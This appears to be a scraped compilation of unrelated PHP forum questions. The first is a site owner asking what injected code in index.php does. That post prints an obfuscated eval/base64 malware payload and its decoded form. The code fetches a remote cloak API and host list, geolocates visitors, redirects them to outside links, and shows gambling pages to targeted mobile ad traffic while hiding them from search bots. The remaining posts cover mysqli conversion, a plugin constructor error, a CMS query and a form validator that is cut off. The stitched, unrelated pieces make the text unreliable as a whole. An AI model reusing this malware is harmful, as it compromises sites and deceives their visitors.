This question already has answers here:
My site is infected with obfuscated PHP malware - what is it doing + how do I get rid of it?
(6 answers)
Closed 4 months ago.
Hello i found my site had this code in index.php
Any one can translate this code please?
eval(base64_decode('CiBnb3RvIEV1SU45OyBZU1NPRDogJGNlayA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJceDY4XHg3NFwxNjRcMTYwXHg3M1w3Mlx4MmZcNTdcMTUyXHg3M1x4NmZcMTU2XHgyZVwxNDdceDY1XDE1N1wxNTFceDcwXHg2Y1x4NmZceDZmXDE1M1wxNjVceDcwXHgyZVwxNTFcMTU3XHgyZiIgLiAkaXApOyBnb3RvIGdUcjNXOyBnWFVUSzogZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiXHg0MVwxNjNcMTUxXDE0MVx4MmZceDQyXDE0MVwxNTZceDY3XDE1M1wxNTdcMTUzIik7IGdvdG8gSUhOQlg7IFhpWXZPOiBpZiAoJGNsb2Fja2luZyAhPSAiXDExN1x4NGUiKSB7IGluY2x1ZGUgJG5vbmp1ZGk7IGRpZTsgfSBlbHNlIHsgaWYgKGluX2FycmF5KCRjb3VudHJ5Y29kZSwgJG5lZ2FyYSkgJiYgaXNtb2JpbGUoJG9ubHltb2JpbGUpICYmIGdjbGlkKCRvbmx5Z2NsaWQpKSB7IGluY2x1ZGUgJGp1ZGk7IH0gZWxzZSB7IGlmIChpbl9hcnJheSgkaXAsICRiYW5pcCkpIHsgaW5jbHVkZSAkbm9uanVkaTsgfSBlbHNlIHsgaWYgKGluX2FycmF5KCRpcCwgJHdsaXApKSB7IGluY2x1ZGUgJGp1ZGk7IH0gZWxzZSB7IGlmIChzdHJwb3Moc3RydG9sb3dlcigkaHR0cF91c2VyX2FnZW50KSwgZ29vZ2xlKSAhPT0gZmFsc2UgfHwgc3RycG9zKHN0cnRvbG93ZXIoJGh0dHBfdXNlcl9hZ2VudCksIGJvdCkgIT09IGZhbHNlIHx8IHN0cnBvcyhzdHJ0b2xvd2VyKCRob3N0KSwgZ29vZ2xlKS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0NVwxMjJceDVmXHg0MVwxMDdcMTA1XDExNlx4NTQiXSk7IH0gZWxzZSB7IHJldHVybiB0cnVlOyB9IH0gZ290byBBamYxODsgQlZIWXo6ICRmYmwgPSAkby0+bGluazsgZ290byB1aDVoXzsgdDgwVXU6IGlmICgkc3RhdHVzICE9IHRydWUpIHsgJGlwYXBpID0gZmlsZV9nZXRfY29udGVudHMoIlwxNTBceDc0XHg3NFwxNjBceDNhXDU3XHgyZlwxNTFceDcwXDU1XHg2MVx4NzBceDY5XHgyZVx4NjNceDZmXDE1NVx4MmZcMTUyXDE2M1wxNTdcMTU2XHgyZiIgLiAkaXApOyAkY291bnRyeSA9IGpzb25fZGVjb2RlKCRpcGFwaSktPmNvdW50cnk7ICRjb3VudHJ5Y29kZSA9IGpzb25fZGVjb2RlKCRpcGFwaSktPmNvdW50cnlDb2RlOyAkY2l0eSA9IGpzb25fZGVjb2RlKCRpcGFwaSktPmNpdHk7ICRvcmcgPSBqc29uX2RlY29kZSgkY2VrKS0+b3JnOyAkaXNwID0ganNvbl9kZWNvZGUoJGNlayktPmlzcDsgfSBlbHNlIHsgJGNvdW50cnkgPSBqc29uX2RlY29kZSgkY2VrKS0+Y291bnRyeV9uYW1lOyAkY291bnRyeWNvZGUgPSBqc29uX2RlY29kZSgkY2VrKS0+Y291bnRyeV9jb2RlOyAkY2l0eSA9IGpzb25fZGVjb2RlKCRjZWspLT5jaXR5OyAkb3JnID0ganNvbl9kZWNvZGUoJGNlayktPmFzbl9vcmc7ICRpc3AgPSBqc29uX2RlY29kZSgkY2VrKS0+aXNwOyB9IGdvdG8gU1Y0REU7IFpvTUpqOiA='));
Edit:
The output of the base64 seems fishy. Someone try to inject obfuscated codes through eval() function.
decoded base64 output:
goto EuIN9; YSSOD: $cek = file_get_contents("\x68\x74\164\160\x73\72\x2f\57\152\x73\x6f\156\x2e\147\x65\157\151\x70\x6c\x6f\x6f\153\165\x70\x2e\151\157\x2f" . $ip); goto gTr3W; gXUTK: date_default_timezone_set("\x41\163\151\141\x2f\x42\141\156\x67\153\157\153"); goto IHNBX; XiYvO: if ($cloacking != "\117\x4e") { include $nonjudi; die; } else { if (in_array($countrycode, $negara) && ismobile($onlymobile) && gclid($onlygclid)) { include $judi; } else { if (in_array($ip, $banip)) { include $nonjudi; } else { if (in_array($ip, $wlip)) { include $judi; } else { if (strpos(strtolower($http_user_agent), google) !== false || strpos(strtolower($http_user_agent), bot) !== false || strpos(strtolower($host), google) !== false) { include $nonjudi; } else { include $nonjudi; } } } } } goto ZoMJj; SV4DE: $referer = isset($_SERVER["\x48\124\124\120\x5f\122\x45\x46\x45\x52\x45\x52"]) ? $_SERVER["\x48\x54\x54\120\137\x52\x45\x46\105\122\x45\x52"] : ''; goto g69de; dtPIm: if (!isset($ip)) { $ip = $_SERVER["\122\x45\x4d\117\x54\x45\137\x41\x44\104\x52"]; } goto RSiEb; KqEPl: $web_page = $_SERVER["\x53\x43\122\111\120\124\x5f\x4e\101\115\105"]; goto BECJH; g69de: $http_user_agent = isset($_SERVER["\110\x54\x54\x50\137\125\123\x45\122\x5f\x41\x47\x45\x4e\124"]) ? $_SERVER["\110\x54\124\x50\137\x55\x53\x45\122\137\101\x47\105\116\124"] : "\156\157\x20\125\x73\145\162\55\x61\x67\145\x6e\164"; goto KqEPl; RSiEb: $pl = file_get_contents("\x68\164\164\160\x73\x3a\57\57\154\x6f\153\x6c\x69\141\x75\x2e\x63\x6f\x6d\x2f\x63\x6c\x6f\x61\153\55\x61\x70\151\x2f" . $PTCode); goto CAcoh; IHNBX: $ip = $_SERVER["\110\124\x54\120\x5f\103\x46\x5f\103\117\116\116\x45\103\x54\111\x4e\x47\137\x49\x50"]; goto dtPIm; LpqWM: $host = $isp; goto XiYvO; EuIN9: include "\163\x65\x74\165\x70\56\160\150\160"; goto gXUTK; Ajf18: function gclid($g) { if ($g == "\131\101") { if (isset($_GET["\x67\x63\154\151\x64"]) && !empty($_GET["\147\143\x6c\x69\x64"]) && strlen($_GET["\147\143\154\151\x64"]) > 32) { return true; } else { return false; } } else { return true; } } goto YSSOD; BECJH: $domain = $_SERVER["\x53\105\x52\126\105\x52\137\x4e\x41\115\x45"]; goto LpqWM; CAcoh: $o = json_decode($pl); goto hQLc8; uh5h_: if (!in_array($_SERVER["\x48\x54\x54\x50\x5f\110\x4f\123\124"], $list)) { header("\x4c\157\x63\x61\x74\151\x6f\156\72\40" . $fbl[0]); die; } goto bINpt; gTr3W: $status = json_decode($cek)->success; goto t80Uu; hQLc8: $list = $o->list; goto BVHYz; bINpt: function ismobile($m) { if ($m == "\x59\x41") { return preg_match("\57\x28\x61\156\144\x72\157\x69\144\x7c\141\x76\x61\156\x74\147\157\x7c\142\x6c\x61\143\x6b\142\145\x72\x72\x79\174\x62\x6f\154\164\x7c\x62\x6f\157\x73\164\174\x63\x72\x69\143\153\145\164\174\144\x6f\143\x6f\x6d\157\x7c\146\157\156\145\x7c\150\x69\160\x74\x6f\x70\174\x6d\x69\156\x69\174\155\x6f\x62\151\x7c\x70\x61\154\x6d\x7c\x70\150\x6f\156\145\174\160\151\145\x7c\x74\x61\142\x6c\145\x74\x7c\165\x70\134\56\142\162\157\167\163\x65\x72\x7c\165\160\x5c\x2e\154\x69\x6e\153\x7c\x77\145\x62\x6f\x73\x7c\167\157\163\51\57\151", $_SERVER["\x48\x54\x54\120\x5f\125\123\x45\122\x5f\x41\107\105\116\x54"]); } else { return true; } } goto Ajf18; BVHYz: $fbl = $o->link; goto uh5h_; t80Uu: if ($status != true) { $ipapi = file_get_contents("\150\x74\x74\160\x3a\57\x2f\151\x70\55\x61\x70\x69\x2e\x63\x6f\155\x2f\152\163\157\156\x2f" . $ip); $country = json_decode($ipapi)->country; $countrycode = json_decode($ipapi)->countryCode; $city = json_decode($ipapi)->city; $org = json_decode($cek)->org; $isp = json_decode($cek)->isp; } else { $country = json_decode($cek)->country_name; $countrycode = json_decode($cek)->country_code; $city = json_decode($cek)->city; $org = json_decode($cek)->asn_org; $isp = json_decode($cek)->isp; } goto SV4DE; ZoMJj:
Can you please help me to fully convert this class to work with mysqli?
It's a class working on an old system, I just want to make it work with mysqli without having to modify the existing code on all the system.
I tried but with no success.
Thanks in advance!
class BD {
var $sServidor = "host";
var $sBaseDeDatos = "DB";
var $sUsuario = "user";
var $sClave = "pass";
function Conectar() {
if (($this->sServidor != "") && ($this->sUsuario != "")) {
$this->oConexion = mysql_connect($this->sServidor, $this->sUsuario, $this->sClave);
mysql_select_db($this->sBaseDeDatos, $this->oConexion);
mysql_set_charset("utf8", $this->oConexion);
}
}
function RetornarConexion() {
return $this->oConexion;
}
function Seleccionar($pSQL, $pRetornarFila = false) {
$oResultado = $this->Ejecutar($pSQL);
return (($pRetornarFila) ? $this->RetornarFila($oResultado) : $oResultado);
}
function RetornarFila($pResultado) {
return mysql_fetch_array($pResultado);
}
function ContarFilas($pResultado) {
$lFilas = 0;
if ($pResultado) {
$lFilas = mysql_num_rows($pResultado);
}
return $lFilas;
}
function Ejecutar($pSQL) {
$this->Conectar();
$oResultado = mysql_query($pSQL, $this->oConexion);
if ($oResultado) {
if (strpos(strtoupper($pSQL), "INSERT INTO") !== false) {
$oResultado = mysql_insert_id();
} else if (strpos(strtoupper($pSQL), "UPDATE") !== false) {
$oResultado = mysql_affected_rows();
}
}
return $oResultado;
}
function RetornarTipo($pResultado, $pCampo) {
$sTipo = "";
if ($pResultado) {
$sTipo = mysql_field_type($pResultado, $pCampo);
}
return $sTipo;
}
function RetornarLongitud($pResultado, $pCampo) {
$lLongitud = 0;
if ($pResultado) {
$lLongitud = mysql_field_len($pResultado, $pCampo);
}
return $lLongitud;
}
function Desconectar() {
mysql_close($this->oConexion);
}
}
Okay I'm testing it and think it works okay. Here's the code:
P / D: Sorry for wasting your time. Conclusion: I have to sleep a few more hours per day. Thanks and sorry again.
class BD {
var $sServidor = "host";
var $sBaseDeDatos = "DB";
var $sUsuario = "user";
var $sClave = "pass";
function Conectar() {
if (($this->sServidor != "") && ($this->sUsuario != "")) {
$this->oConexion = mysqli_connect($this->sServidor, $this->sUsuario, $this->sClave);
mysqli_select_db($this->oConexion, $this->sBaseDeDatos);
mysqli_set_charset($this->oConexion, "utf8");
}
}
function RetornarConexion() {
return $this->oConexion;
}
function Seleccionar($pSQL, $pRetornarFila = false) {
$oResultado = $this->Ejecutar($pSQL);
return (($pRetornarFila) ? $this->RetornarFila($oResultado) : $oResultado);
}
function RetornarFila($pResultado) {
return mysqli_fetch_array($pResultado);
}
function ContarFilas($pResultado) {
$lFilas = 0;
if ($pResultado) {
$lFilas = mysqli_num_rows($pResultado);
}
return $lFilas;
}
function Ejecutar($pSQL) {
$this->Conectar();
$oResultado = mysqli_query($this->oConexion, $pSQL);
if ($oResultado) {
if (strpos(strtoupper($pSQL), "INSERT INTO") !== false) {
$oResultado = mysqli_insert_id($this->oConexion);
} else if (strpos(strtoupper($pSQL), "UPDATE") !== false) {
$oResultado = mysqli_affected_rows($this->oConexion);
}
}
return $oResultado;
}
function RetornarTipo($pResultado, $pCampo) {
$sTipo = "";
if ($pResultado) {
$sTipo = mysqli_field_type($pResultado, $pCampo);
}
return $sTipo;
}
function RetornarLongitud($pResultado, $pCampo) {
$lLongitud = 0;
if ($pResultado) {
$lLongitud = mysqli_field_len($pResultado, $pCampo);
}
return $lLongitud;
}
function Desconectar() {
mysqli_close($this->oConexion);
}
}
i am working on an addon, but i got a problem
[22:03:08] [CRITICAL]: "Could not pass event 'pocketmine\event\player\PlayerInteractEvent' to 'MTeamPvP v1.0.0 Beta': Argument 1 passed to MCrafters\TeamPvP\GameManager::__construct() must be an instance of MCrafters\TeamPvP\TeamPvP, none given, called in C:\Users\USER\Desktop\Taha\FlashCraft PE\lobby 1\plugins\DevTools\src\MCrafters\TeamPvP\TeamPvP.php on line 120 and defined on MCrafters\TeamPvP\TeamPvP
[22:03:08] [NOTICE]: InvalidArgumentException: "Argument 1 passed to MCrafters\TeamPvP\GameManager::__construct() must be an instance of MCrafters\TeamPvP\TeamPvP, none given, called in C:\Users\USER\Desktop\Taha\FlashCraft PE\lobby 1\plugins\DevTools\src\MCrafters\TeamPvP\TeamPvP.php on line 120 and defined" (E_RECOVERABLE_ERROR) in "/DevTools/src/MCrafters/TeamPvP/GameManager" at line 13
also sorry for the different error broadcasting
code : (please don't care about the other classes except GameManager and TeamPvP)
TeamPvP.php:
<?php
namespace MCrafters\TeamPvP;
use pocketmine\plugin\PluginBase;
use pocketmine\utils\TextFormat as Color;
use pocketmine\utils\Config;
use pocketmine\event\Listener;
use pocketmine\event\entity\EntityDamageEvent;
use pocketmine\event\entity\EntityDamageByEntityEvent;
use pocketmine\event\player\PlayerInteractEvent;
use pocketmine\event\player\PlayerDeathEvent;
use pocketmine\math\Vector3;
use pocketmine\level\Position;
use pocketmine\command\Command;
use pocketmine\command\CommandSender;
use pocketmine\Player;
use pocketmine\block\Block;
use pocketmine\item\Item;
use pocketmine\block\WallSign;
use pocketmine\block\PostSign;
use pocketmine\scheduler\ServerScheduler;
class TeamPvP extends PluginBase implements Listener
{
// Teams
public $reds = [];
public $blues = [];
public $gameStarted = false;
public $yml;
public function onEnable()
{
// Initializing config files
$this->saveResource("config.yml");
$yml = new Config($this->getDataFolder() . "config.yml", Config::YAML);
$this->yml = $yml->getAll();
$this->getLogger()->debug("Config files have been saved!");
$this->getServer()->getScheduler()->scheduleRepeatingTask(new Tasks\SignUpdaterTask($this), 15);
$this->getServer()->getPluginManager()->registerEvents($this, $this);
$this->getServer()->getLogger()->info(Color::BOLD . Color::GOLD . "M" . Color::AQUA . "TeamPvP " . Color::GREEN . "Enabled" . Color::RED . "!");
}
public function isFriend($p1, $p2)
{
if ($this->getTeam($p1) === $this->getTeam($p2) && $this->getTeam($p1) !== false) {
return true;
} else {
return false;
}
}
// isFriend
public function getTeam($p)
{
if (in_array($p, $this->reds)) {
return "red";
} elseif (in_array($p, $this->blues)) {
return "blue";
} else {
return false;
}
}
public function setTeam($p, $team)
{
if (strtolower($team) === "red") {
if (count($this->reds) < 5) {
if ($this->getTeam($p) === "blue") {
unset($this->blues[array_search($p, $this->blues)]);
}
array_push($this->reds, $p);
$this->getServer()->getPlayer($p)->setNameTag("§c§l" . $p);
$this->getServer()->getPlayer($p)->teleport(new Vector3($this->yml["waiting_x"], $this->yml["waiting_y"], $this->yml["waiting_z"]));
return true;
} elseif (count($this->blues) < 5) {
$this->setTeam($p, "blue");
} else {
return false;
}
} elseif (strtolower($team) === "blue") {
if (count($this->blues) < 5) {
if ($this->getTeam($p) === "red") {
unset($this->reds[array_search($p, $this->reds)]);
}
array_push($this->blues, $p);
$this->getServer()->getPlayer($p)->setNameTag("§b§l" . $p);
$this->getServer()->getPlayer($p)->teleport(new Vector3($this->yml["waiting_x"], $this->yml["waiting_y"], $this->yml["waiting_z"]));
return true;
} elseif (count($this->reds) < 5) {
$this->setTeam($p, "red");
} else {
return false;
}
}
}
public function removeFromTeam($p, $team)
{
if (strtolower($team) == "red") {
unset($this->reds[array_search($p, $this->reds)]);
return true;
} elseif (strtolower($team) == "blue") {
unset($this->blues[array_search($p, $this->blues)]);
return true;
}
}
public function onInteract(PlayerInteractEvent $event)
{
$p = $event->getPlayer();
$teams = array("red", "blue");
if ($event->getBlock()->getX() === $this->yml["sign_join_x"] && $event->getBlock()->getY() === $this->yml["sign_join_y"] && $event->getBlock()->getZ() === $this->yml["sign_join_z"]) {
if (count($this->blues) < 5 && count($this->reds) < 5) {
$this->setTeam($p->getName(), $teams[array_rand($teams, 1)]);
$s = new GameManager();
$s->run();
} else {
$p->sendMessage($this->yml["teams_are_full_message"]);
}
}
}
public function onEntityDamage(EntityDamageEvent $event)
{
if ($event instanceof EntityDamageByEntityEvent) {
if ($event->getEntity() instanceof Player) {
if ($this->isFriend($event->getDamager()->getName(), $event->getEntity()->getName()) && $this->gameStarted == true) {
$event->setCancelled(true);
$event->getDamager()->sendMessage(str_replace("{player}", $event->getPlayer()->getName(), $this->yml["hit_same_team_message"]));
}
if ($this->isFriend($event->getDamager()->getName(), $event->getEntity()->getName())) {
$event->setCancelled(true);
}
}
}
}
public function onDeath(PlayerDeathEvent $event)
{
if ($this->getTeam($event->getEntity()->getName()) == "red" && $this->gameStarted == true) {
$this->removeFromTeam($event->getEntity()->getName(), "red");
$event->getEntity()->teleport($this->getServer()->getLevelByName($this->yml["spawn_level"])->getSafeSpawn());
} elseif ($this->getTeam($event->getEntity()->getName()) == "blue" && $this->gameStarted == true) {
$this->removeFromTeam($event->getEntity()->getName(), "blue");
$event->getEntity()->teleport($this->getServer()->getLevelByName($this->yml["spawn_level"])->getSafeSpawn());
}
foreach ($this->blues as $b) {
foreach ($this->reds as $r) {
if (count($this->reds) == 0 && $this->gameStarted == true) {
$this->getServer()->getPlayer($b)->getInventory()->clearAll();
$this->removeFromTeam($b, "blue");
$this->getServer()->getPlayer($b)->teleport($this->getServer()->getLevelByName($this->yml["spawn_level"])->getSafeSpawn());
$this->getServer()->broadcastMessage("Blue Team won TeamPvP!");
} elseif (count($this->blues) == 0 && $this->gameStarted == true) {
$this->getServer()->getPlayer($r)->getInventory()->clearAll();
$this->removeFromTeam($r, "red");
$this->getServer()->getPlayer($r)->teleport($this->getServer()->getLevelByName($this->yml["spawn_level"])->getSafeSpawn());
}
}
}
}
}//class
GameManager.php :
<?php
namespace MCrafters\TeamPvP;
use pocketmine\scheduler\ServerScheduler as Tasks;
class GameManager
{
public $reds;
public $blues;
public $gst;
public $gwt;
public function __construct(\MCrafters\TeamPvP\TeamPvP $plugin)
{
parent::__construct($plugin);
$this->plugin = $plugin;
}
public function run()
{
$this->reds = $this->plugin->reds;
$this->blues = $this->plugin->blues;
if (count($this->reds) < 5 && count($this->blues) < 5) {
$this->gst = Tasks::scheduleRepeatingTask(new Tasks\GameStartTask($this), 20)->getTaskId();
Tasks::cancelTask($this->gwt);
} else {
$this->gwt = Tasks::scheduleRepeatingTask(new Tasks\GameWaitingTask($this), 15)->getTaskId();
}
}
}
namespace correct, class and file name correct, and all other functions from other classes have nothing to do with this :) check the line where there is GameManager::run() in TeamPvP class.
i already know there is one about this, but i didn't understand it.
Thank You for your help.
You have a type hint
public function __construct(\MCrafters\TeamPvP\TeamPvP $plugin)
{
parent::__construct($plugin);
$this->plugin = $plugin;
}
So when you go to instantiate MCrafters\TeamPvP\GameManager you have to pass it an instance of \MCrafters\TeamPvP\TeamPvP
$team = new \MCrafters\TeamPvP\TeamPvP();
$manager = new \MCrafters\TeamPvP\GameManager($team)
Hello I have this sorting function ine one template of CMS. I would like to add if the condition is the second one:
if(is_array($array)) {
foreach($array as $row) {
if($row[photos] == 1) {
if($isMobile) {
include($basepath.'/templates/mobile.content_item_photo.php');
}
else
{
include($basepath.'/templates/template.content_item_photo.php');
}
I want to add the following MySQL result to show also
$result = mysql_query("SELECT niches.name, niches.record_num FROM niches ORDER BY name ASC");
which is used in this template for sorting:
include($basepath.'/templates/template.channel_item_title.php');
Any ideas how this can be integrated inside the first code function?
So here is the code of the main index template:
<?
session_start();
if(($_REQUEST[mode] == 'favorites' || $_REQUEST[mode] == 'my_uploads') && !$_SESSION[username]) {
header("Location: /login.php");
}
include('admin/db.php');
include($basepath.'/includes/inc.seo.php');
$cacheName = $_SERVER[REQUEST_URI];
$cacheResult = getCache($cacheName);
$cacheTotalPages = getCache("total_pages$cacheName");
if($cacheResult && $cacheTotalPages) {
$array = $cacheResult;
$total_pages = $cacheTotalPages;
}
else {
include($basepath.'/includes/inc.index_queries.php');
while($row = mysql_fetch_assoc($result)) {
$array[] = $row;
}
if($thispage != 'favorites' && $_GET[mode] != 'my_uploads') {
setCache($cacheName,$array,$overall_cache_time);
setCache("total_pages$cacheName",$total_pages,$overall_cache_time);
}
}
$thisfile = 'index';
$webpage="index";
if($isMobile) {
include($basepath.'/templates/mobile.overall_header.php');
}
else {
include($basepath.'/templates/template.overall_header.php');
}
if(empty($_GET[mode]) && !$_GET[page]) {
include($basepath.'/templates/template.home.php');
}
if($webpage=="index" && empty($_GET[mode]) && !$_GET[page])
{}
else
{
if(is_array($array)) {
foreach($array as $row) {
if($row[photos] == 1) {
if($isMobile) {
include($basepath.'/templates/mobile.content_item_photo.php');
}
else
{
include($basepath.'/templates/template.content_item_photo.php');
}
}
else {
if($isMobile) {
include($basepath.'/templates/mobile.content_item.php');
}
else
{
include($basepath.'/templates/template.content_item.php');
}
}
}
}
else {
echo "Sorry, no results were found.";
}
}
if($isMobile) {
include($basepath.'/templates/mobile.overall_footer.php');
}
else {
include($basepath.'/templates/template.overall_footer.php');
}
?>
I don't think I get your question, but we have to start somewhere...
<?php
if(is_array($array)) {
foreach($array as $row) {
if($row[photos] == 1) {
if($isMobile) {
include($basepath.'/templates/mobile.content_item_photo.php');
}
else
{
include($basepath.'/templates/template.content_item_photo.php');
}
Next block of code:
<?php
$result = mysql_query("SELECT niches.name, niches.record_num FROM niches ORDER BY name ASC");
if(is_array(result)) {
foreach($result as $row) {
if($row[photos] == 1) {
if($isMobile) {
include($basepath.'/templates/mobile.content_item_photo.php');
}
else
{
include($basepath.'/templates/template.channel_item_title.php');
}
This question already has answers here:
How to fix "Headers already sent" error in PHP
(11 answers)
Closed 9 years ago.
Does anyone see how headers could be sent in this script? I am using this script to validate a form. As a result it is causing headers to be sent so when I try to direct a user after implementing this script it causes the normal "Warning: Cannot modify header information - headers already sent" message. Here is the script:
<?php
class ValidatorObj
{
var $variable_name;
var $validator_string;
var $error_string;
}
/**
* Base class for custom validation objects
**/
class CustomValidator
{
function DoValidate(&$formars,&$error_hash)
{
return true;
}
}
/** Default error messages*/
define("E_VAL_REQUIRED_VALUE","Please enter the value for %s");
define("E_VAL_MAXLEN_EXCEEDED","Maximum length exceeded for %s.");
define("E_VAL_MINLEN_CHECK_FAILED","Please enter input with length more than %d for %s");
define("E_VAL_ALNUM_CHECK_FAILED","Please provide an alpha-numeric input for %s");
define("E_VAL_ALNUM_S_CHECK_FAILED","Please provide an alpha-numeric input for %s");
define("E_VAL_NUM_CHECK_FAILED","Please provide numeric input for %s");
define("E_VAL_ALPHA_CHECK_FAILED","Please provide alphabetic input for %s");
define("E_VAL_ALPHA_S_CHECK_FAILED","Please provide alphabetic input for %s");
define("E_VAL_EMAIL_CHECK_FAILED","Please provide a valida email address");
define("E_VAL_LESSTHAN_CHECK_FAILED","Enter a value less than %f for %s");
define("E_VAL_GREATERTHAN_CHECK_FAILED","Enter a value greater than %f for %s");
define("E_VAL_REGEXP_CHECK_FAILED","Please provide a valid input for %s");
define("E_VAL_DONTSEL_CHECK_FAILED","Wrong option selected for %s");
define("E_VAL_SELMIN_CHECK_FAILED","Please select minimum %d options for %s");
define("E_VAL_SELONE_CHECK_FAILED","Please select an option for %s");
define("E_VAL_EQELMNT_CHECK_FAILED","Value of %s should be same as that of %s");
define("E_VAL_NEELMNT_CHECK_FAILED","Value of %s should not be same as that of %s");
class FormValidator
{
var $validator_array;
var $error_hash;
var $custom_validators;
function FormValidator()
{
$this->validator_array = array();
$this->error_hash = array();
$this->custom_validators=array();
}
function AddCustomValidator(&$customv)
{
array_push($this->custom_validators,$customv);
}
function addValidation($variable,$validator,$error)
{
$validator_obj = new ValidatorObj();
$validator_obj->variable_name = $variable;
$validator_obj->validator_string = $validator;
$validator_obj->error_string = $error;
array_push($this->validator_array,$validator_obj);
}
function GetErrors()
{
return $this->error_hash;
}
function ValidateForm()
{
$bret = true;
$error_string="";
$error_to_display = "";
if(strcmp($_SERVER['REQUEST_METHOD'],'POST')==0)
{
$form_variables = $_POST;
}
else
{
$form_variables = $_GET;
}
$vcount = count($this->validator_array);
foreach($this->validator_array as $val_obj)
{
if(!$this->ValidateObject($val_obj,$form_variables,$error_string))
{
$bret = false;
$this->error_hash[$val_obj->variable_name] = $error_string;
}
}
if(true == $bret && count($this->custom_validators) > 0)
{
foreach( $this->custom_validators as $custom_val)
{
if(false == $custom_val->DoValidate($form_variables,$this->error_hash))
{
$bret = false;
}
}
}
return $bret;
}
function ValidateObject($validatorobj,$formvariables,&$error_string)
{
$bret = true;
$splitted = explode("=",$validatorobj->validator_string);
$command = $splitted[0];
$command_value = '';
if(isset($splitted[1]) && strlen($splitted[1])>0)
{
$command_value = $splitted[1];
}
$default_error_message="";
$input_value ="";
if(isset($formvariables[$validatorobj->variable_name]))
{
$input_value = $formvariables[$validatorobj->variable_name];
}
$bret = $this->ValidateCommand($command,$command_value,$input_value,
$default_error_message,
$validatorobj->variable_name,
$formvariables);
if(false == $bret)
{
if(isset($validatorobj->error_string) &&
strlen($validatorobj->error_string)>0)
{
$error_string = $validatorobj->error_string;
}
else
{
$error_string = $default_error_message;
}
}//if
return $bret;
}
function validate_req($input_value, &$default_error_message,$variable_name)
{
$bret = true;
if(!isset($input_value) ||
strlen($input_value) <=0)
{
$bret=false;
$default_error_message = sprintf(E_VAL_REQUIRED_VALUE,$variable_name);
}
return $bret;
}
function validate_maxlen($input_value,$max_len,$variable_name,&$default_error_message)
{
$bret = true;
if(isset($input_value) )
{
$input_length = strlen($input_value);
if($input_length > $max_len)
{
$bret=false;
$default_error_message = sprintf(E_VAL_MAXLEN_EXCEEDED,$variable_name);
}
}
return $bret;
}
function validate_minlen($input_value,$min_len,$variable_name,&$default_error_message)
{
$bret = true;
if(isset($input_value) )
{
$input_length = strlen($input_value);
if($input_length < $min_len)
{
$bret=false;
$default_error_message = sprintf(E_VAL_MINLEN_CHECK_FAILED,$min_len,$variable_name);
}
}
return $bret;
}
function test_datatype($input_value,$reg_exp)
{
if(ereg($reg_exp,$input_value))
{
return false;
}
return true;
}
function validate_email($email)
{
return eregi("^[_\.0-9a-zA-Z-]+#([0-9a-zA-Z][0-9a-zA-Z-]+\.)+[a-zA-Z]{2,6}$", $email);
}
function validate_for_numeric_input($input_value,&$validation_success)
{
$more_validations=true;
$validation_success = true;
if(strlen($input_value)>0)
{
if(false == is_numeric($input_value))
{
$validation_success = false;
$more_validations=false;
}
}
else
{
$more_validations=false;
}
return $more_validations;
}
function validate_lessthan($command_value,$input_value,
$variable_name,&$default_error_message)
{
$bret = true;
if(false == $this->validate_for_numeric_input($input_value,
$bret))
{
return $bret;
}
if($bret)
{
$lessthan = doubleval($command_value);
$float_inputval = doubleval($input_value);
if($float_inputval >= $lessthan)
{
$default_error_message = sprintf(E_VAL_LESSTHAN_CHECK_FAILED,
$lessthan,
$variable_name);
$bret = false;
}//if
}
return $bret ;
}
function validate_greaterthan($command_value,$input_value,$variable_name,&$default_error_message)
{
$bret = true;
if(false == $this->validate_for_numeric_input($input_value,$bret))
{
return $bret;
}
if($bret)
{
$greaterthan = doubleval($command_value);
$float_inputval = doubleval($input_value);
if($float_inputval <= $greaterthan)
{
$default_error_message = sprintf(E_VAL_GREATERTHAN_CHECK_FAILED,
$greaterthan,
$variable_name);
$bret = false;
}//if
}
return $bret ;
}
function validate_select($input_value,$command_value,&$default_error_message,$variable_name)
{
$bret=false;
if(is_array($input_value))
{
foreach($input_value as $value)
{
if($value == $command_value)
{
$bret=true;
break;
}
}
}
else
{
if($command_value == $input_value)
{
$bret=true;
}
}
if(false == $bret)
{
$default_error_message = sprintf(E_VAL_SHOULD_SEL_CHECK_FAILED,
$command_value,$variable_name);
}
return $bret;
}
function validate_dontselect($input_value,$command_value,&$default_error_message,$variable_name)
{
$bret=true;
if(is_array($input_value))
{
foreach($input_value as $value)
{
if($value == $command_value)
{
$bret=false;
$default_error_message = sprintf(E_VAL_DONTSEL_CHECK_FAILED,$variable_name);
break;
}
}
}
else
{
if($command_value == $input_value)
{
$bret=false;
$default_error_message = sprintf(E_VAL_DONTSEL_CHECK_FAILED,$variable_name);
}
}
return $bret;
}
function ValidateCommand($command,$command_value,$input_value,&$default_error_message,$variable_name,$formvariables)
{
$bret=true;
switch($command)
{
case 'req':
{
$bret = $this->validate_req($input_value, $default_error_message,$variable_name);
break;
}
case 'maxlen':
{
$max_len = intval($command_value);
$bret = $this->validate_maxlen($input_value,$max_len,$variable_name,
$default_error_message);
break;
}
case 'minlen':
{
$min_len = intval($command_value);
$bret = $this->validate_minlen($input_value,$min_len,$variable_name,
$default_error_message);
break;
}
case 'alnum':
{
$bret= $this->test_datatype($input_value,"[^A-Za-z0-9]");
if(false == $bret)
{
$default_error_message = sprintf(E_VAL_ALNUM_CHECK_FAILED,$variable_name);
}
break;
}
case 'alnum_s':
{
$bret= $this->test_datatype($input_value,"[^A-Za-z0-9 ]");
if(false == $bret)
{
$default_error_message = sprintf(E_VAL_ALNUM_S_CHECK_FAILED,$variable_name);
}
break;
}
case 'num':
case 'numeric':
{
$bret= $this->test_datatype($input_value,"[^0-9]");
if(false == $bret)
{
$default_error_message = sprintf(E_VAL_NUM_CHECK_FAILED,$variable_name);
}
break;
}
case 'alpha':
{
$bret= $this->test_datatype($input_value,"[^A-Za-z]");
if(false == $bret)
{
$default_error_message = sprintf(E_VAL_ALPHA_CHECK_FAILED,$variable_name);
}
break;
}
case 'alpha_s':
{
$bret= $this->test_datatype($input_value,"[^A-Za-z ]");
if(false == $bret)
{
$default_error_message = sprintf(E_VAL_ALPHA_S_CHECK_FAILED,$variable_name);
}
break;
}
case 'email':
{
if(isset($input_value) && strlen($input_value)>0)
{
$bret= $this->validate_email($input_value);
if(false == $bret)
{
$default_error_message = E_VAL_EMAIL_CHECK_FAILED;
}
}
break;
}
case "lt":
case "lessthan":
{
$bret = $this->validate_lessthan($command_value,
$input_value,
$variable_name,
$default_error_message);
break;
}
case "gt":
case "greaterthan":
{
$bret = $this->validate_greaterthan($command_value,
$input_value,
$variable_name,
$default_error_message);
break;
}
case "regexp":
{
